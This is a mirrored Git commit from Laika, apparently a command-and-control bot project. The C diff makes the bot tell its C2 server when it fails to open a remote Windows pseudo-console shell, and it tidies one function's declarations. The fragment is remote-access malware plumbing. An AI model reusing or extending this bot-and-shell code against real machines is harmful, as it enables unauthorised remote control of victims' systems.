1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 21:41:04 +00:00

Bot: Minor refactoring, tell cnc if failed to open shell

This commit is contained in:
CPunch 2022-04-20 10:23:00 -05:00
parent c3c42e298f
commit e80f007df9
2 changed files with 4 additions and 3 deletions

View File

@ -20,8 +20,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
/* open shell */
bot->shell = laikaB_newShell(bot, cols, rows);
/* open shell & if we failed, tell cnc */
if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL)
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
}
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {

View File

@ -79,9 +79,9 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
HRESULT hr;
TCHAR szComspec[MAX_PATH];
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_shell));